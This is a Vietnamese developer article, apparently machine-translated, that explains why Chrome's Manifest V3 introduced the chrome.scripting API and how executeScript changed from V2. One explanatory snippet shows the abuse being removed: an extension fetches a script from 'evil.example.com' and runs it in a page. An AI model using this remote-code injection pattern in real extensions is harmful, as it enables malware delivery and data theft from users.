Giới thiệu về chrome.scripting

Manifest V3 giới thiệu một số thay đổi đối với nền tảng tiện ích của Chrome. Trong bài đăng này, chúng ta sẽ tìm hiểu những động lực và thay đổi tạo ra bởi một trong những thay đổi đáng chú ý hơn: giới thiệu API chrome.scripting.

chrome.scripting là gì?

Như tên có thể cho thấy, chrome.scripting là một không gian tên mới được giới thiệu trong Manifest V3 chịu trách nhiệm về khả năng chèn tập lệnh và kiểu.

Những nhà phát triển từng tạo các tiện ích của Chrome có thể đã quen thuộc với các phương thức Manifest V2 trên Tab API như chrome.tabs.executeScriptchrome.tabs.insertCSS. Các phương thức này cho phép tiện ích chèn tập lệnh và biểu định kiểu vào trang tương ứng. Trong Manifest V3, các tính năng này đã chuyển sang chrome.scripting và chúng tôi dự định mở rộng API này với một số tính năng mới trong tương lai.

Tại sao bạn nên tạo API mới?

Trước sự thay đổi như thế này, một trong những câu hỏi đầu tiên thường xuất hiện là "tại sao?"

Một vài yếu tố khác nhau đã dẫn đến việc nhóm Chrome quyết định giới thiệu một không gian tên mới cho tập lệnh. Trước tiên, API Thẻ là một ngăn rác chứa các tính năng. Thứ hai, chúng tôi cần tạo ra các thay đổi đối với API executeScript hiện tại. Thứ ba, chúng tôi biết rằng muốn mở rộng việc viết tập lệnh các tính năng dành cho tiện ích. Cùng với nhau, những mối lo ngại này đã xác định rõ nhu cầu tạo một không gian tên mới để chức năng tập lệnh nội bộ.

Ngăn rác

Một trong những vấn đề đã gây phiền toái cho Nhóm Tiện ích trong vài năm qua là API chrome.tabs bị quá tải. Khi API này được giới thiệu lần đầu tiên, hầu hết các tính năng mà API này cung cấp có liên quan đến khái niệm chung về thẻ trình duyệt. Mặc dù vào thời điểm đó, là một phần nhỏ các tính năng và qua nhiều năm, bộ sưu tập này vẫn luôn phát triển.

Vào thời điểm Manifest V3 được phát hành, API Thẻ đã phát triển để hỗ trợ việc quản lý thẻ cơ bản, quản lý lựa chọn, sắp xếp cửa sổ, nhắn tin, kiểm soát thu phóng, điều hướng cơ bản, viết tập lệnh và một vài tính năng nhỏ hơn. Mặc dù tất cả những yếu tố này đều quan trọng nhưng có thể gây choáng ngợp khi họ mới bắt đầu và cho nhóm Chrome khi chúng tôi duy trì nền tảng và hãy xem xét các yêu cầu của cộng đồng nhà phát triển.

Một yếu tố phức tạp khác là không hiểu rõ quyền tabs. Trong khi nhiều nhà xuất bản khác quyền hạn chế truy cập vào một API nhất định (ví dụ: storage), quyền này hơi khác thường ở chỗ nó chỉ cấp cho tiện ích quyền truy cập vào các thuộc tính nhạy cảm trên các thực thể Thẻ (và bằng cách cũng ảnh hưởng đến API Windows). Cũng dễ hiểu, nhiều nhà phát triển tiện ích hiểu nhầm họ cần quyền này để truy cập vào các phương thức trên API Thẻ như chrome.tabs.create hoặc một cách chân thực hơn, chrome.tabs.executeScript. Việc di chuyển chức năng ra khỏi API Thẻ sẽ giúp làm sáng tỏ một số nhầm lẫn này.

Thay đổi có thể gây lỗi

Khi thiết kế Manifest V3, một trong những vấn đề chính mà chúng tôi muốn giải quyết là hành vi lạm dụng và phần mềm độc hại được bật bằng "mã được lưu trữ từ xa" – mã được thực thi nhưng không được đưa vào tiện ích . Thông thường, các tác giả tiện ích có hành vi lạm dụng sẽ thực thi các tập lệnh đã tìm nạp từ các máy chủ từ xa để đánh cắp dữ liệu người dùng, chèn phần mềm độc hại và né tránh công cụ phát hiện. Mặc dù những diễn viên giỏi cũng dùng khả năng này, cuối cùng cảm thấy đơn giản là quá nguy hiểm nên không thể tiếp tục giữ nguyên như vậy.

Có một vài cách khác nhau để các tiện ích có thể thực thi mã chưa được nhóm, nhưng cách có liên quan đây là phương thức chrome.tabs.executeScript Manifest V2. Phương thức này cho phép tiện ích mở rộng thực thi một chuỗi mã tuỳ ý trong thẻ đích. Đổi lại điều này có nghĩa là nhà phát triển độc hại có thể tìm nạp một tập lệnh tuỳ ý từ một máy chủ từ xa và thực thi tập lệnh đó bên trong bất kỳ trang nào mà tiện ích có thể truy cập. Chúng tôi biết rằng nếu muốn giải quyết vấn đề về mã từ xa, chúng tôi sẽ phải bỏ của chúng tôi.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chúng tôi cũng muốn khắc phục một số vấn đề khác tinh vi hơn với thiết kế của phiên bản Manifest V2, và làm cho API trở thành một công cụ tinh tế và dễ dự đoán hơn.

Mặc dù lẽ ra chúng tôi có thể thay đổi chữ ký của phương thức này trong API Thẻ, nhưng chúng tôi nhận thấy rằng giữa những thay đổi có thể gây lỗi này và sự ra mắt của những tính năng mới (được đề cập trong phần tiếp theo), một giải pháp nghỉ ngơi hợp lý sẽ dễ dàng hơn cho mọi người.

Mở rộng chức năng viết tập lệnh

Một cân nhắc khác đưa vào quy trình thiết kế Manifest V3 là mong muốn giới thiệu khả năng viết tập lệnh bổ sung cho nền tảng tiện ích của Chrome. Cụ thể, chúng tôi muốn thêm hỗ trợ các tập lệnh nội dung động và để mở rộng khả năng của phương thức executeScript.

Hỗ trợ tập lệnh nội dung động đã là một yêu cầu tính năng từ lâu trong Chromium. Hôm nay, Các tiện ích Manifest V2 và V3 của Chrome chỉ có thể khai báo tĩnh tập lệnh nội dung trong Tệp manifest.json; nền tảng không cung cấp cách thức để đăng ký tập lệnh nội dung mới, chỉnh sửa đăng ký tập lệnh nội dung hoặc huỷ đăng ký tập lệnh nội dung trong thời gian chạy.

Mặc dù chúng tôi biết rằng chúng tôi muốn xử lý yêu cầu về tính năng này trong Manifest V3, không có API như một nơi phù hợp. Chúng tôi cũng xem xét việc thống nhất với Firefox trên Content Script , nhưng chúng tôi đã sớm xác định được một vài hạn chế lớn đối với phương pháp này. Trước tiên, chúng tôi biết rằng mình sẽ có các chữ ký không tương thích (ví dụ: ngừng hỗ trợ code thuộc tính). Thứ hai, API của chúng tôi có một bộ quy tắc ràng buộc khác về thiết kế (ví dụ: cần đăng ký để tồn tại lâu hơn vòng đời của trình chạy dịch vụ). Cuối cùng, không gian tên này cũng sẽ khiến chúng tôi chức năng tập lệnh nội dung mà chúng ta đang xem xét rộng hơn về việc viết tập lệnh trong tiện ích.

Ở mặt trước executeScript, chúng tôi cũng muốn mở rộng những việc API này có thể làm ngoài những việc mà Thẻ Phiên bản API được hỗ trợ. Cụ thể hơn, chúng tôi muốn hỗ trợ các hàm và đối số một cách dễ dàng hơn nhắm mục tiêu các khung cụ thể và nhắm mục tiêu không phải "thẻ" ngữ cảnh.

Sắp tới, chúng tôi cũng sẽ xem xét cách tiện ích có thể tương tác với PWA đã cài đặt và ngữ cảnh không ánh xạ đến "thẻ".

Các thay đổi giữa tab.executeScript và script.executeScript

Trong phần còn lại của bài đăng này, tôi muốn xem xét kỹ hơn những điểm tương đồng và khác biệt từ chrome.tabs.executeScript đến chrome.scripting.executeScript.

Chèn hàm có đối số

Khi cân nhắc xem nền tảng cần phát triển như thế nào để phù hợp với mã được lưu trữ từ xa hạn chế, chúng tôi muốn tìm được sự cân bằng giữa sức mạnh thô của việc thực thi mã tuỳ ý và chỉ cho phép tập lệnh nội dung tĩnh. Giải pháp mà chúng tôi quan tâm là cho phép các tiện ích chèn làm tập lệnh nội dung và truyền một mảng giá trị làm đối số.

Hãy cùng xem nhanh một ví dụ (đơn giản hoá quá mức). Giả sử chúng tôi muốn chèn một tập lệnh chào người dùng theo tên khi người dùng nhấp vào nút hành động của tiện ích (biểu tượng trên thanh công cụ). Trong Manifest V2, chúng ta có thể tự động tạo một chuỗi mã và thực thi tập lệnh đó trong .

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Mặc dù tiện ích Manifest V3 không thể sử dụng mã không đi kèm với tiện ích, nhưng mục tiêu của chúng tôi là duy trì tính linh hoạt mà các khối mã tuỳ ý hỗ trợ cho các tiện ích Manifest V2. Chiến lược phát hành đĩa đơn hàm và đối số giúp người đánh giá, người dùng và những người khác trên Cửa hàng Chrome trực tuyến có thể các bên quan tâm để đánh giá chính xác hơn các rủi ro mà việc mở rộng gây ra, đồng thời cho phép để nhà phát triển sửa đổi hành vi trong thời gian chạy của tiện ích dựa trên chế độ cài đặt của người dùng hoặc trạng thái của ứng dụng.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Khung nhắm mục tiêu

Chúng tôi cũng muốn cải thiện cách nhà phát triển tương tác với các khung trong API đã sửa đổi. Manifest V2 phiên bản executeScript cho phép nhà phát triển nhắm mục tiêu tất cả các khung hình trong một thẻ hoặc một khung trong thẻ. Bạn có thể dùng chrome.webNavigation.getAllFrames để lấy danh sách tất cả các khung hình trong một thẻ.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Trong Manifest V3, chúng tôi đã thay thế thuộc tính số nguyên frameId (không bắt buộc) trong đối tượng tuỳ chọn bằng một thuộc tính mảng số nguyên frameIds (không bắt buộc); Điều này cho phép nhà phát triển nhắm mục tiêu nhiều khung hình trong một Lệnh gọi API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Kết quả chèn tập lệnh

Chúng tôi cũng đã cải thiện cách trả về kết quả chèn tập lệnh trong Manifest V3. Một "kết quả" là về cơ bản là câu lệnh cuối cùng được đánh giá trong một tập lệnh. Hãy coi điều này giống như giá trị được trả về khi bạn gọi eval() hoặc thực thi một khối mã trong bảng điều khiển Công cụ của Chrome cho nhà phát triển, nhưng được chuyển đổi tuần tự để chuyển kết quả giữa các quy trình.

Trong Manifest V2, executeScriptinsertCSS sẽ trả về một mảng kết quả thực thi thuần tuý. Điều này sẽ không có vấn đề gì nếu bạn chỉ có một điểm chèn duy nhất, nhưng thứ tự kết quả không được đảm bảo khi chèn vào nhiều khung hình, nên không có cách nào để biết kết quả nào có liên quan với khung.

Để xem một ví dụ cụ thể, hãy xem mảng results được Manifest V2 trả về và Phiên bản Manifest V3 của cùng một tiện ích. Cả hai phiên bản của tiện ích này sẽ chèn cùng một mã tập lệnh nội dung của Google và chúng tôi sẽ so sánh kết quả trên cùng một trang minh hoạ.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Khi chạy phiên bản Manifest V2, chúng ta sẽ lấy lại một mảng [1, 0, 5]. Kết quả nào tương ứng vào khung chính và khung nào dành cho iframe? Giá trị trả về không cho chúng tôi biết, vì vậy chúng tôi không biết cho chắc chắn.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Trong phiên bản Manifest V3, results hiện chứa một mảng các đối tượng kết quả thay vì một mảng chỉ kết quả đánh giá và đối tượng kết quả xác định rõ ID của khung cho mỗi kết quả. Điều này giúp nhà phát triển dễ dàng sử dụng kết quả và thực hiện hành động trên một khung.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Tóm tắt

Việc tăng phiên bản tệp kê khai là cơ hội hiếm có để suy nghĩ lại và hiện đại hoá các API tiện ích. Mục tiêu của chúng tôi với Manifest V3 là cải thiện trải nghiệm người dùng cuối bằng cách làm cho các tiện ích trở nên an toàn hơn, đồng thời cải thiện trải nghiệm của nhà phát triển. Bằng cách ra mắt chrome.scripting trong Manifest V3, chúng tôi đã có thể giúp dọn dẹp API Thẻ, cũng như định hình lại executeScript để trở thành một nền tảng tiện ích an toàn hơn, và để đặt nền móng cho những tính năng viết tập lệnh mới sẽ ra mắt vào cuối năm nay.